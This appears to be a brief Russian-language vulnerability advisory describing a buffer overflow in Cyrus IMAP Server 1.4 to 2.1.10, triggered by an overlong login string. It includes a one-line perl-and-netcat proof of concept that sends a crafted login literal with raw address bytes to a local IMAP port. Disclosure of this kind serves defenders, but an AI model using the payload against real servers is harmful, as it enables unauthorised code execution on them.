Cyrus IMAPD — бесплатный, с открытым исходным кодом IMAP демон для LINUX и UNIX систем.
Пользователь, подключенный к демону, может послать login строку чрезмерной длины, которая приведет к переполнению буфера. Уязвимость может использоваться для выполнения произвольного кода. 

Пример: 

perl -e ‘print «x login {4294967295}\r\n\xf0\xef\xff\xbf\x90
\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";’ |nc localhost imap2

Уязвимость обнаружена в Carnegie Mellon University Cyrus IMAP Server 1.4-2.1.10.



Оставить мнение